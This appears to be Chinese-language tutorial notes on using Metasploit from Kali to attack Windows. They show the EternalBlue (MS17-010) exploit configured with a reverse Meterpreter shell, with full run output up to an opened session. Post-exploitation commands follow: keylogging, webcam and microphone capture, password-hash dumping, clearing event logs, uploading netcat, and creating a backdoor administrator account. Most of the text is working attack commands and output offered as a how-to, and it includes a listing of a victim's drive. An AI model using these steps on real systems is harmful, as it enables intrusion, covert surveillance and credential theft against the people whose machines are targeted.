1.了解kali及安装
vmware安装,用户名密码均为kali
2.metasploit是什么
3.metasploit攻击windows系统
在kali中打来终端
数据msfconsole 进入metasploit的控制终端界面
msf的使用法则:
1.使用模块
2.配置模块必选项
3.运行模块
三步操作、实现对主流漏洞的攻击。
例子:msf6 > search ms17_010
Matching Modules                               
================                                   #  Name                                      Disclosure Date  Rank     Check  Description                                               -  ----                                      ---------------  ----     -----  -----------                                               0  exploit/windows/smb/ms17_010_eternalblue  2017-03-14       average  Yes    MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption           1  exploit/windows/smb/ms17_010_psexec       2017-03-14       normal   Yes    MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution                                                              2  auxiliary/admin/smb/ms17_010_command      2017-03-14       normal   No     MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution3  auxiliary/scanner/smb/smb_ms17_010                         normal   No     MS17-010 SMB RCE DetectionInteract with a module by name or index. For example info 3, use 3 or use auxiliary/scanner/smb/smb_ms17_010                                              msf6 > use 0
[*] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms17_010_eternalblue) > show optionsModule options (exploit/windows/smb/ms17_010_eternalblue):Name           Current Setting  Required  Description----           ---------------  --------  -----------RHOSTS                          yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.htmlRPORT          445              yes       The target port (TCP)SMBDomain                       no        (Optional) The Windows domainto use for authentication. Only affects Windows Server 2008R2, Windows 7, Windows Embedded Standard 7 target machines.SMBPass                         no        (Optional) The password for the specified usernameSMBUser                         no        (Optional) The username to authenticate asVERIFY_ARCH    true             yes       Check if remote architecture matches exploit Target. Only affects Windows Server 2008 R2,Windows 7, Windows Embedded Standard 7 target machines.VERIFY_TARGET  true             yes       Check if remote OS matches exploit Target. Only affects Windows Server 2008 R2, Windows 7,Windows Embedded Standard 7 target machines.Payload options (windows/x64/meterpreter/reverse_tcp):Name      Current Setting  Required  Description----      ---------------  --------  -----------EXITFUNC  thread           yes       Exit technique (Accepted: '', seh,thread, process, none)LHOST     192.168.65.128   yes       The listen address (an interface may be specified)LPORT     4444             yes       The listen portExploit target:Id  Name--  ----0   Automatic TargetView the full module info with the info, or info -d command.
使用show options 查看配置项,启动requird标注为yes的为必填项
defaulting to windows/x64/meterpreter/reverse_tcp如果不是这个 可以手动配置
set payload windows/x64/meterpreter/reverse_tcp
payload就是攻击载荷。
LHOST ip地址 代表你是谁,配置为kali的ip地址
LPORT 为listentport 代表你要在kali上开启的端口。1-65535随便找,不能是占用。
View the full module info with the info, or info -d command.msf6 exploit(windows/smb/ms17_010_eternalblue) > set  RHOSTS 192.168.50.52
RHOSTS => 192.168.50.52
msf6 exploit(windows/smb/ms17_010_eternalblue) > set lport 10001
lport => 10001
msf6 exploit(windows/smb/ms17_010_eternalblue) > run[*] Started reverse TCP handler on 192.168.50.53:10001 
[*] 192.168.50.52:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
[+] 192.168.50.52:445     - Host is likely VULNERABLE to MS17-010! - Windows 7 Ultimate 7600 x64 (64-bit)
[*] 192.168.50.52:445     - Scanned 1 of 1 hosts (100% complete)
[+] 192.168.50.52:445 - The target is vulnerable.
[*] 192.168.50.52:445 - Connecting to target for exploitation.
[+] 192.168.50.52:445 - Connection established for exploitation.
[+] 192.168.50.52:445 - Target OS selected valid for OS indicated by SMB reply
[*] 192.168.50.52:445 - CORE raw buffer dump (23 bytes)
[*] 192.168.50.52:445 - 0x00000000  57 69 6e 64 6f 77 73 20 37 20 55 6c 74 69 6d 61  Windows 7 Ultima
[*] 192.168.50.52:445 - 0x00000010  74 65 20 37 36 30 30                             te 7600         
[+] 192.168.50.52:445 - Target arch selected valid for arch indicated by DCE/RPC reply
[*] 192.168.50.52:445 - Trying exploit with 12 Groom Allocations.
[*] 192.168.50.52:445 - Sending all but last fragment of exploit packet
[*] 192.168.50.52:445 - Starting non-paged pool grooming
[+] 192.168.50.52:445 - Sending SMBv2 buffers
[+] 192.168.50.52:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] 192.168.50.52:445 - Sending final SMBv2 buffers.
[*] 192.168.50.52:445 - Sending last fragment of exploit packet!
[*] 192.168.50.52:445 - Receiving response from exploit packet
[+] 192.168.50.52:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!
[*] 192.168.50.52:445 - Sending egg to corrupted connection.
[*] 192.168.50.52:445 - Triggering free of corrupted buffer.
[-] 192.168.50.52:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[-] 192.168.50.52:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=FAIL-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[-] 192.168.50.52:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[*] 192.168.50.52:445 - Connecting to target for exploitation.
[+] 192.168.50.52:445 - Connection established for exploitation.
[+] 192.168.50.52:445 - Target OS selected valid for OS indicated by SMB reply
[*] 192.168.50.52:445 - CORE raw buffer dump (23 bytes)
[*] 192.168.50.52:445 - 0x00000000  57 69 6e 64 6f 77 73 20 37 20 55 6c 74 69 6d 61  Windows 7 Ultima
[*] 192.168.50.52:445 - 0x00000010  74 65 20 37 36 30 30                             te 7600         
[+] 192.168.50.52:445 - Target arch selected valid for arch indicated by DCE/RPC reply
[*] 192.168.50.52:445 - Trying exploit with 17 Groom Allocations.
[*] 192.168.50.52:445 - Sending all but last fragment of exploit packet
[*] 192.168.50.52:445 - Starting non-paged pool grooming
[+] 192.168.50.52:445 - Sending SMBv2 buffers
[+] 192.168.50.52:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] 192.168.50.52:445 - Sending final SMBv2 buffers.
[*] 192.168.50.52:445 - Sending last fragment of exploit packet!
[*] 192.168.50.52:445 - Receiving response from exploit packet
[+] 192.168.50.52:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!
[*] 192.168.50.52:445 - Sending egg to corrupted connection.
[*] 192.168.50.52:445 - Triggering free of corrupted buffer.
[*] Sending stage (201798 bytes) to 192.168.50.52
[*] Meterpreter session 1 opened (192.168.50.53:10001 -> 192.168.50.52:3071) at 2024-02-29 21:48:57 -0500
[+] 192.168.50.52:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 192.168.50.52:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 192.168.50.52:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
RHOSTS => 192.168.50.52
lport => 10001
run
最后
[+] 192.168.50.52:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 192.168.50.52:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 192.168.50.52:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=WIN表示已经入侵成功。
help查看能够使用的命令
meterpreter >  helpCore Commands
=============Command       Description-------       -----------?             Help menubackground    Backgrounds the current sessionbg            Alias for backgroundbgkill        Kills a background meterpreter scriptbglist        Lists running background scriptsbgrun         Executes a meterpreter script as a background threadchannel       Displays information or control active channelsclose         Closes a channeldetach        Detach the meterpreter session (for http/https)disable_unic  Disables encoding of unicode stringsode_encodingenable_unico  Enables encoding of unicode stringsde_encodingexit          Terminate the meterpreter sessionget_timeouts  Get the current session timeout valuesguid          Get the session GUIDhelp          Help menuinfo          Displays information about a Post moduleirb           Open an interactive Ruby shell on the current sessionload          Load one or more meterpreter extensionsmachine_id    Get the MSF ID of the machine attached to the sessionmigrate       Migrate the server to another processpivot         Manage pivot listenerspry           Open the Pry debugger on the current sessionquit          Terminate the meterpreter sessionread          Reads data from a channelresource      Run the commands stored in a filerun           Executes a meterpreter script or Post modulesecure        (Re)Negotiate TLV packet encryption on the sessionsessions      Quickly switch to another sessionset_timeouts  Set the current session timeout valuessleep         Force Meterpreter to go quiet, then re-establish sessionssl_verify    Modify the SSL certificate verification settingtransport     Manage the transport mechanismsuse           Deprecated alias for "load"uuid          Get the UUID for the current sessionwrite         Writes data to a channelStdapi: File system Commands
============================Command       Description-------       -----------cat           Read the contents of a file to the screencd            Change directorychecksum      Retrieve the checksum of a filecp            Copy source to destinationdel           Delete the specified filedir           List files (alias for ls)download      Download a file or directoryedit          Edit a filegetlwd        Print local working directorygetwd         Print working directorylcat          Read the contents of a local file to the screenlcd           Change local working directorylls           List local fileslmkdir        Create new directory on local machinelpwd          Print local working directoryls            List filesmkdir         Make directorymv            Move source to destinationpwd           Print working directoryrm            Delete the specified filermdir         Remove directorysearch        Search for filesshow_mount    List all mount points/logical drivesupload        Upload a file or directoryStdapi: Networking Commands
===========================Command       Description-------       -----------arp           Display the host ARP cachegetproxy      Display the current proxy configurationifconfig      Display interfacesipconfig      Display interfacesnetstat       Display the network connectionsportfwd       Forward a local port to a remote serviceresolve       Resolve a set of host names on the targetroute         View and modify the routing tableStdapi: System Commands
=======================Command       Description-------       -----------clearev       Clear the event logdrop_token    Relinquishes any active impersonation token.execute       Execute a commandgetenv        Get one or more environment variable valuesgetpid        Get the current process identifiergetprivs      Attempt to enable all privileges available to the currentprocessgetsid        Get the SID of the user that the server is running asgetuid        Get the user that the server is running askill          Terminate a processlocaltime     Displays the target system local date and timepgrep         Filter processes by namepkill         Terminate processes by nameps            List running processesreboot        Reboots the remote computerreg           Modify and interact with the remote registryrev2self      Calls RevertToSelf() on the remote machineshell         Drop into a system command shellshutdown      Shuts down the remote computersteal_token   Attempts to steal an impersonation token from the targetprocesssuspend       Suspends or resumes a list of processessysinfo       Gets information about the remote system, such as OSStdapi: User interface Commands
===============================Command       Description-------       -----------enumdesktops  List all accessible desktops and window stationsgetdesktop    Get the current meterpreter desktopidletime      Returns the number of seconds the remote user has been idlekeyboard_sen  Send keystrokesdkeyevent      Send key eventskeyscan_dump  Dump the keystroke bufferkeyscan_star  Start capturing keystrokestkeyscan_stop  Stop capturing keystrokesmouse         Send mouse eventsscreenshare   Watch the remote user desktop in real timescreenshot    Grab a screenshot of the interactive desktopsetdesktop    Change the meterpreters current desktopuictl         Control some of the user interface componentsStdapi: Webcam Commands
=======================Command       Description-------       -----------record_mic    Record audio from the default microphone for X secondswebcam_chat   Start a video chatwebcam_list   List webcamswebcam_snap   Take a snapshot from the specified webcamwebcam_strea  Play a video stream from the specified webcammStdapi: Audio Output Commands
=============================Command       Description-------       -----------play          play a waveform audio file (.wav) on the target systemPriv: Elevate Commands
======================Command       Description-------       -----------getsystem     Attempt to elevate your privilege to that of local system.Priv: Password database Commands
================================Command       Description-------       -----------hashdump      Dumps the contents of the SAM databasePriv: Timestomp Commands
========================Command       Description-------       -----------timestomp     Manipulate file MACE attributesmeterpreter > 
例如:
meterpreter > sysinfo
Computer        : SJUN-PC
OS              : Windows 7 (6.1 Build 7600).
Architecture    : x64
System Language : zh_CN
Domain          : WORKGROUP
Logged On Users : 1
Meterpreter     : x64/windows
meterpreter > Core Commands
 =============
Core Commands
=============Command       Description-------       -----------?             Help menubackground    Backgrounds the current sessionbg            Alias for backgroundbgkill        Kills a background meterpreter scriptbglist        Lists running background scriptsbgrun         Executes a meterpreter script as a background threadchannel       Displays information or control active channelsclose         Closes a channeldetach        Detach the meterpreter session (for http/https)disable_unic  Disables encoding of unicode stringsode_encodingenable_unico  Enables encoding of unicode stringsde_encodingexit          Terminate the meterpreter sessionget_timeouts  Get the current session timeout valuesguid          Get the session GUIDhelp          Help menuinfo          Displays information about a Post moduleirb           Open an interactive Ruby shell on the current sessionload          Load one or more meterpreter extensionsmachine_id    Get the MSF ID of the machine attached to the sessionmigrate       Migrate the server to another processpivot         Manage pivot listenerspry           Open the Pry debugger on the current sessionquit          Terminate the meterpreter sessionread          Reads data from a channelresource      Run the commands stored in a filerun           Executes a meterpreter script or Post modulesecure        (Re)Negotiate TLV packet encryption on the sessionsessions      Quickly switch to another sessionset_timeouts  Set the current session timeout valuessleep         Force Meterpreter to go quiet, then re-establish sessionssl_verify    Modify the SSL certificate verification settingtransport     Manage the transport mechanismsuse           Deprecated alias for "load"uuid          Get the UUID for the current sessionwrite         Writes data to a channel
Priv: Timestomp Commands
 ========================
    Command       Description-------       -----------timestomp     Manipulate file MACE attributesPriv: Password database Commands
 ================================
    Command       Description-------       -----------hashdump      Dumps the contents of the SAM databasePriv: Elevate Commands
 ======================
 Command       Description-------       -----------getsystem     Attempt to elevate your privilege to that of local system
                   .
 Stdapi: Audio Output Commands
 =============================
  Command       Description-------       -----------play          play a waveform audio file (.wav) on the target system
 Stdapi: Webcam Commands
 =======================
   Command       Description-------       -----------record_mic    Record audio from the default microphone for X secondswebcam_chat   Start a video chatwebcam_list   List webcamswebcam_snap   Take a snapshot from the specified webcamwebcam_strea  Play a video stream from the specified webcammStdapi: User interface Commands
 ===============================
    Command       Description-------       -----------enumdesktops  List all accessible desktops and window stationsgetdesktop    Get the current meterpreter desktopidletime      Returns the number of seconds the remote user has been idlekeyboard_sen  Send keystrokesdkeyevent      Send key eventskeyscan_dump  Dump the keystroke bufferkeyscan_star  Start capturing keystrokestkeyscan_stop  Stop capturing keystrokesmouse         Send mouse eventsscreenshare   Watch the remote user desktop in real timescreenshot    Grab a screenshot of the interactive desktopsetdesktop    Change the meterpreters current desktopuictl         Control some of the user interface componentsStdapi: System Commands
 =======================
  Command       Description-------       -----------clearev       Clear the event logdrop_token    Relinquishes any active impersonation token.execute       Execute a commandgetenv        Get one or more environment variable valuesgetpid        Get the current process identifiergetprivs      Attempt to enable all privileges available to the currentprocessgetsid        Get the SID of the user that the server is running asgetuid        Get the user that the server is running askill          Terminate a processlocaltime     Displays the target system local date and timepgrep         Filter processes by namepkill         Terminate processes by nameps            List running processesreboot        Reboots the remote computerreg           Modify and interact with the remote registryrev2self      Calls RevertToSelf() on the remote machineshell         Drop into a system command shellshutdown      Shuts down the remote computersteal_token   Attempts to steal an impersonation token from the targetprocesssuspend       Suspends or resumes a list of processessysinfo       Gets information about the remote system, such as OSStdapi: Networking Commands
 ===========================
 Command       Description-------       -----------arp           Display the host ARP cachegetproxy      Display the current proxy configurationifconfig      Display interfacesipconfig      Display interfacesnetstat       Display the network connectionsportfwd       Forward a local port to a remote serviceresolve       Resolve a set of host names on the targetroute         View and modify the routing tableStdapi: File system Commands
 ============================
 Command       Description-------       -----------cat           Read the contents of a file to the screencd            Change directorychecksum      Retrieve the checksum of a filecp            Copy source to destinationdel           Delete the specified filedir           List files (alias for ls)download      Download a file or directoryedit          Edit a filegetlwd        Print local working directorygetwd         Print working directorylcat          Read the contents of a local file to the screenlcd           Change local working directorylls           List local fileslmkdir        Create new directory on local machinelpwd          Print local working directoryls            List filesmkdir         Make directorymv            Move source to destinationpwd           Print working directoryrm            Delete the specified filermdir         Remove directorysearch        Search for filesshow_mount    List all mount points/logical drivesupload        Upload a file or directory用户操作:Stdapi: User interface Commands(用户接口命令)enumdesktops    -->列出所有可访问的桌面和窗口站(窗体列表)
getdesktop      -->得到当前的Meterpreter桌面idletime        -->返回秒远程用户已经闲置数量keyscan_dump    -->转储按键缓冲(下载键盘记录)
keyscan_start   -->开始捕获击键(开始键盘记录)
keyscan_stop    -->停止捕获击键(停止键盘记录)
screenshot      -->抓取交互式桌面截图(当前操作界面截图一张)
setdesktop      -->改变meterpreters当前桌面uictl           -->控制一些用户界面组件(获取键盘、鼠标控制权)
使用uictl -h 查看帮助(打开/关闭,键盘/鼠标)PS:键盘记录注意点,先开始,后下载,再结束,否则会出错摄像头:Stdapi: Webcam Commands(摄像头命令)record_mic       -->X秒从默认的麦克风record_mic音频记录(音频录制)webcam_chat      -->开始视频聊天(视频,对方会有弹窗)webcam_list      -->单摄像头(查看摄像头列表)
webcam_snap      -->采取快照从指定的摄像头(摄像头拍摄一张照片)webcam_stream    -->播放视频流从指定的摄像头(开启摄像头监控)其他命令操作getsystem        -->获取高权限hashdump         -->获取当前用户hash例子:创建后门用户并开启远程连接
shell
net user zhangsan 123456 /add
net localgroup administrators zhangsan /add
在攻陷的机器上添加用户zhangsan密码为123456 并且把张三的用户加入到管理员组。
exit退出
screenshot 来进行截图屏幕

meterpreter > webcam_snap
->采取快照从指定的摄像头(摄像头拍摄一张照片)[*] Starting...
 [+] Got frame
 [*] Stopped
 Webcam shot saved to: /home/kali/Desktop/rJfZoIoR.jpeg
meterpreter > webcam_stream
 -->播放视频流从指定的摄像头(开启摄像头监控)[*] Starting...
 [*] Preparing player...
 [*] Opening player at: /home/kali/Desktop/wViPebHU.html
 [*] Streaming...
 ^CInterrupt
 [-] webcam_stream: Interrupted
 meterpreter > Interrupt: use the 'exit' command to quit
查看文件meterpreter > dir d:/
 Listing: d:/
============Mode              Size   Type  Last modified              Name
----              ----   ----  -------------              ----
040777/rwxrwxrwx  0      dir   2023-05-18 23:55:43 -0400  $QAXHoneypot
040777/rwxrwxrwx  0      dir   2022-07-26 03:39:58 -0400  $RECYCLE.BIN
040777/rwxrwxrwx  0      dir   2023-05-16 04:32:30 -0400  Program Files
040777/rwxrwxrwx  4096   dir   2023-12-21 20:19:47 -0500  Program Files (x86)
040777/rwxrwxrwx  0      dir   2023-05-18 23:12:52 -0400  QAXDownload
040777/rwxrwxrwx  0      dir   2018-03-22 23:27:06 -0400  System Volume Information
100666/rw-rw-rw-  14141  fil   2020-08-05 03:14:06 -0400  ZB-SAN-SW-24.xlsx
100666/rw-rw-rw-  18077  fil   2021-06-14 02:09:44 -0400  ZB-交换机端口映射.xlsx
040777/rwxrwxrwx  12288  dir   2023-05-18 23:54:46 -0400  tools工具
040777/rwxrwxrwx  4096   dir   2020-04-29 02:55:45 -0400  个人文件
100666/rw-rw-rw-  15818  fil   2021-12-23 01:39:22 -0500  容灾IP地址分配.xlsx
040777/rwxrwxrwx  4096   dir   2023-05-18 23:55:02 -0400  封存项目
040777/rwxrwxrwx  4096   dir   2023-05-18 23:56:14 -0400  工作区域meterpreter > cat c:/1.txt  查看文件内容
 123
 meterpreter > 
meterpreter > mkdir d:\ly 创建目录
 Creating directory: d:ly
  
2.文件系统命令
cat c:\boot.ini#查看文件内容,文件必须存在
del c:\boot.ini #删除指定的文件
upload /root/Desktop/netcat.exe c:\ # 上传文件到目标机主上,如upload  setup.exe C:\\windows\\system32\
download nimeia.txt /root/Desktop/   # 下载文件到本机上如:download C:\\boot.ini /root/或者download C:\\"ProgramFiles"\\Tencent\\QQ\\Users\\295******125\\Msg2.0.db /root/
edit c:\boot.ini  # 编辑文件
getlwd#打印本地目录
getwd#打印工作目录
lcd#更改本地目录
ls#列出在当前目录中的文件列表
lpwd#打印本地目录
pwd#输出工作目录
cd c:\\ #进入目录文件下
rm file #删除文件
mkdir dier #在受害者系统上的创建目录
rmdir#受害者系统上删除目录
dir#列出目标主机的文件和文件夹信息
mv#修改目标主机上的文件名
search -d d:\\www -f web.config #search 文件,如search  -d c:\\  -f*.doc
meterpreter > search -f autoexec.bat  #搜索文件
meterpreter > search -f sea*.bat c:\\xamp\\
enumdesktops     #用户登录数1)下载文件
使用命令“download +file path”,将下载目标机器的相对应权限的任何路径下的文件
(2)上传文件
“upload”命令为上传文件到我们的目标机器,在图中我们上传了ll.txt到目标机器的c:\pp\下。
(3)查看文件
“cat filename”在当前目录下查看文件内容,输入命令后便会返回给我们所查看文件的内容。
(4)切换、查询当前路径
“pwd”命令将查询当前在dos命令下的路径,“cd”命令可以改变当前路径,如下图中cd ..为切换到当前路径下的上一目录。